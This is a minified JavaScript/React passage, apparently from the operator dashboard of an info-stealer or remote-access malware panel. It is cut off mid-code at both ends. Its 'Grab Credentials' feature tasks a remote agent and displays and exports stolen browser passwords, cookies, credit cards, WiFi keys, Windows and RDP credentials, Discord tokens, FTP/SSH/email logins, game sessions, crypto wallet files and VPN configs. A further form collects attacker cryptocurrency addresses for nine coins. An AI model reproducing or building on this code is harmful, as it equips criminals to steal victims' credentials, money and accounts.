re>=60&&(h.current&&clearInterval(h.current),h.current=null,l(!1),u("Timed out waiting for results"))}catch{}},3e3)}catch(X){l(!1),u(X instanceof Error?X.message:"Failed to submit task")}}},[e,p]),[v,b]=m.useState(null),w=(X,re)=>{navigator.clipboard.writeText(X).then(()=>{const oe=re?re.clientX:window.innerWidth/2,Oe=re?re.clientY-30:window.innerHeight/2;b({text:"Copied!",x:oe,y:Oe}),setTimeout(()=>b(null),1200)}).catch(()=>{})},j=(X,re)=>{try{const oe=atob(X),Oe=new Uint8Array(oe.length);for(let de=0;de{if(!i)return;const X=new Blob([JSON.stringify(i,null,2)],{type:"application/json"}),re=URL.createObjectURL(X),oe=document.createElement("a");oe.href=re,oe.download=`credentials_${e.slice(0,8)}.json`,oe.click(),URL.revokeObjectURL(re)};return a.jsxs("div",{className:"p-6 animate-fade-in space-y-4",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("button",{onClick:y,disabled:o||p,className:`inline-flex items-center gap-2 text-sm font-medium\r + bg-zerin-accent hover:bg-zerin-accent-hover text-white\r + px-4 py-2 transition-colors\r + disabled:opacity-30 disabled:cursor-not-allowed`,children:o?a.jsxs(a.Fragment,{children:[a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}),"Grabbing..."]}):a.jsxs(a.Fragment,{children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})}),"Grab Credentials"]})}),i&&a.jsxs("button",{onClick:N,className:`inline-flex items-center gap-1.5 text-sm font-medium\r + text-zerin-text-dim hover:text-zerin-text\r + bg-zerin-panel hover:bg-zerin-panel-hover\r + border border-zerin-panel-border\r + px-3 py-2 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"Export JSON"]}),p&&a.jsx("span",{className:"text-zerin-danger text-xs font-medium",children:"Agent offline"})]}),c&&a.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/20 px-4 py-3 text-sm text-zerin-danger",children:c}),i&&a.jsxs("div",{className:"space-y-2",children:[a.jsx(Rn,{title:"Browser Passwords",count:(((k=i.chrome_passwords)==null?void 0:k.length)??0)+(((z=i.firefox_passwords)==null?void 0:z.length)??0),expanded:d.has("chrome_passwords")||d.has("firefox_passwords"),onToggle:()=>{g("chrome_passwords"),g("firefox_passwords")},children:[...i.chrome_passwords??[],...i.firefox_passwords??[]].length===0?a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No passwords found"}):a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"URL"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:[...i.chrome_passwords??[],...i.firefox_passwords??[]].map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.browser??"Firefox"}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:X.url}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.username,oe),children:X.username}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password?"••••••••":""})]},re))})]})}),a.jsx(Rn,{title:"Browser Cookies",count:((S=i.chrome_cookies)==null?void 0:S.length)??0,expanded:d.has("chrome_cookies"),onToggle:()=>g("chrome_cookies"),children:(O=i.chrome_cookies)!=null&&O.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Host"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Value"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.chrome_cookies.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.browser}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:X.host}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:X.name}),a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.value,oe),children:[X.value.slice(0,40),"..."]})]},re))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No cookies found"})}),a.jsx(Rn,{title:"Credit Cards",count:((A=i.chrome_cards)==null?void 0:A.length)??0,expanded:d.has("chrome_cards"),onToggle:()=>g("chrome_cards"),children:(T=i.chrome_cards)!=null&&T.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Number"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Exp"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.chrome_cards.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.browser}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text",children:X.name}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.number,oe),children:X.number}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.exp})]},re))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No credit cards found"})}),a.jsx(Rn,{title:"WiFi Passwords",count:((P=i.wifi)==null?void 0:P.length)??0,expanded:d.has("wifi"),onToggle:()=>g("wifi"),children:(D=i.wifi)!=null&&D.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"SSID"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Auth"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.wifi.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-medium",children:X.ssid}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.auth}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password||"(none)"})]},re))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No WiFi passwords found"})}),a.jsx(Rn,{title:"Windows Credentials",count:((G=i.windows_credentials)==null?void 0:G.length)??0,expanded:d.has("windows_credentials"),onToggle:()=>g("windows_credentials"),children:(R=i.windows_credentials)!=null&&R.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Target"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.windows_credentials.map((X,re)=>a.jsxs("tr",{className:`hover:bg-zerin-panel-hover ${X.is_rdp?"bg-zerin-accent-muted/30":""}`,children:[a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:[X.is_rdp&&a.jsx("span",{className:"text-zerin-accent font-medium mr-1",children:"[RDP]"}),X.target]}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.username,oe),children:X.username}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password?"••••••••":""}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.type})]},re))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Windows credentials found"})}),a.jsx(Rn,{title:"Discord Tokens",count:((K=i.discord_tokens)==null?void 0:K.length)??0,expanded:d.has("discord_tokens"),onToggle:()=>g("discord_tokens"),children:(_=i.discord_tokens)!=null&&_.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Source"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Token"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.discord_tokens.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.source}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.type}),a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-[300px] truncate",onClick:oe=>w(X.token,oe),children:[X.token.slice(0,20),"..."]})]},re))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Discord tokens found"})}),a.jsx(Rn,{title:"Applications",count:((M=i.telegram)!=null&&M.found?1:0)+(((F=i.filezilla)==null?void 0:F.length)??0)+(((U=i.winscp)==null?void 0:U.length)??0)+(((V=i.putty)==null?void 0:V.length)??0)+(((Z=i.outlook)==null?void 0:Z.length)??0),expanded:d.has("apps"),onToggle:()=>g("apps"),children:a.jsxs("div",{className:"space-y-3 p-4",children:[i.telegram&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Telegram"}),i.telegram.found?a.jsxs("div",{children:[a.jsxs("p",{className:"text-xs text-zerin-text font-mono mb-1",children:["Found at: ",a.jsx("span",{className:"text-zerin-accent cursor-pointer",onClick:X=>w(i.telegram.path,X),children:i.telegram.path})]}),(((ae=i.telegram.files)==null?void 0:ae.length)??0)>0&&a.jsx("div",{className:"flex flex-wrap gap-1.5 mt-1",children:i.telegram.files.map((X,re)=>a.jsxs("button",{onClick:()=>j(X.data,X.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),X.name]},re))})]}):a.jsx("p",{className:"text-xs text-zerin-text-muted",children:"Not installed"})]}),(((ue=i.filezilla)==null?void 0:ue.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["FileZilla (",i.filezilla.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.filezilla.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[X.host,":",X.port]}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.user}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password?"••••••••":""})]},re))})})]}),(((be=i.winscp)==null?void 0:be.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["WinSCP (",i.winscp.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.winscp.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.host}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.user}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password?"••••••••":""})]},re))})})]}),(((ye=i.putty)==null?void 0:ye.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["PuTTY (",i.putty.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.putty.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text-dim",children:X.session}),a.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[X.host,":",X.port]}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.user})]},re))})})]}),(((q=i.outlook)==null?void 0:q.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Outlook (",i.outlook.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.outlook.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.account}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.server}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password?"••••••••":""})]},re))})})]}),!((te=i.telegram)!=null&&te.found)&&!((C=i.filezilla)!=null&&C.length)&&!((Y=i.winscp)!=null&&Y.length)&&!((ne=i.putty)!=null&&ne.length)&&!((B=i.outlook)!=null&&B.length)&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No application credentials found"})]})}),a.jsx(Rn,{title:"Gaming Sessions",count:((le=i.steam)!=null&&le.found?1:0)+((we=i.epic)!=null&&we.found?1:0)+(((Ne=i.minecraft)==null?void 0:Ne.length)??0)+((Ae=i.roblox)!=null&&Ae.found?1:0),expanded:d.has("gaming"),onToggle:()=>g("gaming"),children:a.jsxs("div",{className:"space-y-3 p-4",children:[(($=i.steam)==null?void 0:$.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:a.jsx("span",{className:"text-blue-400",children:"Steam"})}),a.jsxs("div",{className:"flex flex-wrap gap-1.5",children:[i.steam.loginusers&&a.jsxs("button",{onClick:()=>j(i.steam.loginusers,"loginusers.vdf"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"loginusers.vdf"]}),i.steam.config&&a.jsxs("button",{onClick:()=>j(i.steam.config,"config.vdf"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"config.vdf"]}),(fe=i.steam.ssfn_files)==null?void 0:fe.map((X,re)=>a.jsxs("button",{onClick:()=>j(X.data,X.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),X.name]},re))]})]}),((ve=i.epic)==null?void 0:ve.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Epic Games"}),a.jsxs("button",{onClick:()=>j(i.epic.config,"GameUserSettings.ini"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"GameUserSettings.ini"]})]}),(((H=i.minecraft)==null?void 0:H.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Minecraft (",i.minecraft.length,")"]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:i.minecraft.map((X,re)=>a.jsxs("button",{onClick:()=>j(X.data,`${X.launcher}_accounts.json`),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),X.launcher]},re))})]}),((se=i.roblox)==null?void 0:se.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Roblox"}),i.roblox.cookie?a.jsxs("p",{className:"text-xs text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-full truncate",onClick:X=>w(i.roblox.cookie,X),children:[".ROBLOSECURITY: ",i.roblox.cookie.slice(0,40),"..."]}):i.roblox.cookie_file?a.jsxs("button",{onClick:()=>j(i.roblox.cookie_file,"RobloxCookies.dat"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"RobloxCookies.dat"]}):null]}),!((W=i.steam)!=null&&W.found)&&!((Q=i.epic)!=null&&Q.found)&&!((he=i.minecraft)!=null&&he.length)&&!((E=i.roblox)!=null&&E.found)&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No gaming sessions found"})]})}),a.jsx(Rn,{title:"Crypto Wallets",count:((ce=i.wallets)==null?void 0:ce.length)??0,expanded:d.has("wallets"),onToggle:()=>g("wallets"),children:(J=i.wallets)!=null&&J.length?a.jsx("div",{className:"space-y-3 p-4",children:i.wallets.map((X,re)=>a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[a.jsx("span",{className:"text-amber-400",children:X.name}),a.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",X.files.length," file",X.files.length!==1?"s":"",")"]})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:X.files.map((oe,Oe)=>a.jsxs("button",{onClick:()=>j(oe.data,oe.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),oe.name]},Oe))})]},re))}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No wallets found"})}),a.jsx(Rn,{title:"VPN Configs",count:((xe=i.vpn)==null?void 0:xe.length)??0,expanded:d.has("vpn"),onToggle:()=>g("vpn"),children:(ke=i.vpn)!=null&&ke.length?a.jsx("div",{className:"space-y-3 p-4",children:i.vpn.map((X,re)=>a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[a.jsx("span",{className:"text-emerald-400",children:X.name}),a.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",X.files.length," file",X.files.length!==1?"s":"",")"]})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:X.files.map((oe,Oe)=>a.jsxs("button",{onClick:()=>j(oe.data,oe.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r + bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),oe.name]},Oe))})]},re))}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No VPN configs found"})}),(((ze=i.errors)==null?void 0:ze.length)??0)>0&&a.jsx(Rn,{title:"Errors",count:i.errors.length,expanded:d.has("errors"),onToggle:()=>g("errors"),children:a.jsx("div",{className:"p-4 space-y-1",children:i.errors.map((X,re)=>a.jsxs("div",{className:"text-xs",children:[a.jsxs("span",{className:"text-zerin-text-dim font-medium",children:[X.source,":"]})," ",a.jsx("span",{className:"text-zerin-danger",children:X.error})]},re))})})]}),v&&a.jsx("div",{className:`fixed z-50 px-2.5 py-1 text-xs font-medium text-white bg-zerin-accent\r + pointer-events-none animate-fade-in`,style:{left:v.x,top:v.y,transform:"translate(-50%, -100%)"},children:v.text}),!i&&!o&&!c&&a.jsx("div",{className:"flex items-center justify-center py-20",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-14 h-14 mx-auto mb-4 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})})}),a.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"Credential Recovery"}),a.jsxs("p",{className:"text-zerin-text-muted text-xs",children:["Click ",a.jsx("span",{className:"font-semibold text-zerin-accent",children:"Grab Credentials"})," to recover saved passwords, cookies, tokens, and more."]})]})})]})}function Rn({title:e,count:t,expanded:n,onToggle:r,children:i}){return a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsxs("button",{onClick:r,className:`w-full flex items-center gap-2 px-4 py-2.5 text-left\r + hover:bg-zerin-panel-hover transition-colors`,children:[a.jsx("svg",{className:`w-3.5 h-3.5 text-zerin-text-dim transition-transform ${n?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),a.jsx("span",{className:"text-sm font-semibold text-zerin-text",children:e}),a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:t})]}),n&&a.jsx("div",{className:"border-t border-zerin-panel-border",children:i})]})}const dV=[{key:"btc",label:"Bitcoin (BTC)",placeholder:"bc1q... or 1.../3...",color:"text-orange-400"},{key:"eth",label:"Ethereum (ETH)",placeholder:"0x...",color:"text-blue-400"},{key:"ltc",label:"Litecoin (LTC)",placeholder:"L.../M.../ltc1...",color:"text-gray-300"},{key:"xmr",label:"Monero (XMR)",placeholder:"4...",color:"text-orange-300"},{key:"doge",label:"Dogecoin (DOGE)",placeholder:"D...",color:"text-yellow-400"},{key:"sol",label:"Solana (SOL)",placeholder:"Base58 address",color:"text-purple-400"},{key:"xrp",label:"Ripple (XRP)",placeholder:"r...",color:"text-blue-300"},{key:"trx",label:"Tron (TRX)",placeholder:"T...",color:"text-red-400"},{key:"bnb",label:"BNB Chain",placeholder:"bnb1...",color:"text-yellow-300"}],fV={btc:"",eth:"",ltc:"",xmr:"",doge:"",sol:"",xrp:"",trx:"",bnb:""};function $2(e,t){if(!t)return null;switch(e){case"btc":return t.startsWith("bc1")&&t.length>=25&&t.length<=62||(t.startsWith("1")||t.startsWith("3"))&&t.length>=25&&t.length<=34?null:"Invalid BTC address";case"eth":return/^0x[0-9a-fA-F]{40}$/.test(t)?null:"Invalid ETH address (0x + 40 hex)";case"ltc":return t.startsWith("ltc1")&&t.length>=25||(t.startsWith("L")||t.startsWith("M"))&&t.length>=26&&t.length<=34?null:"Invalid LTC address";case"xmr":return t.startsWith("4")&&t.length===95?null:"Invalid XMR address (starts with 4, 95 chars)";case"doge":return t.startsWith("D")&&t.length===34?null:"Invalid DOGE address";case"sol":return t.length>=32&&t.length<=44?null:"Invalid SOL address (32-44 chars)";case"xrp":return t.startsWith("r")&&t.length>=25&&t.length<=35?null:"Invalid XRP address";case"trx":return t.startsWith("T")&&t.length===34?null:"Invalid TRX address";case"bnb":return t.startsWith("bnb1")&&t.length===42?null:"Invalid BNB address"}return null}function mV({agentId:e,agentStatus:t}){const[n,r]=m.useState({...fV}),[i,s]=m.useState(!1),[o,l]=m.useState(!1),[c,u]=m.useState(null),[d,f]=m.useState({}),p=t==="dead",h=(b,w="ok")=>{u({text:b,type:w}),setTimeout(()=>u(null),3e3)},x=(b,w)=>{r(N=>({...N,[b]:w}));const j=$2(b,w);f(N=>{const k={...N};return j?k[b]=j:delete k[b],k})},g=Object.entries(n).some(([b,w])=>w&&!d[b]),y=m.useCallback(async()=>{if(p)return;const b={};for(const[w,j]of Object.entries(n))if(j){const N=$2(w,j);N&&(b[w]=N)}if(f(b),Object.keys(b).length>0){h("Fix validation errors first","err");return}l(!0);try{const w={};for(const[j,N]of Object.entries(n))N&&(w[j]=N);await 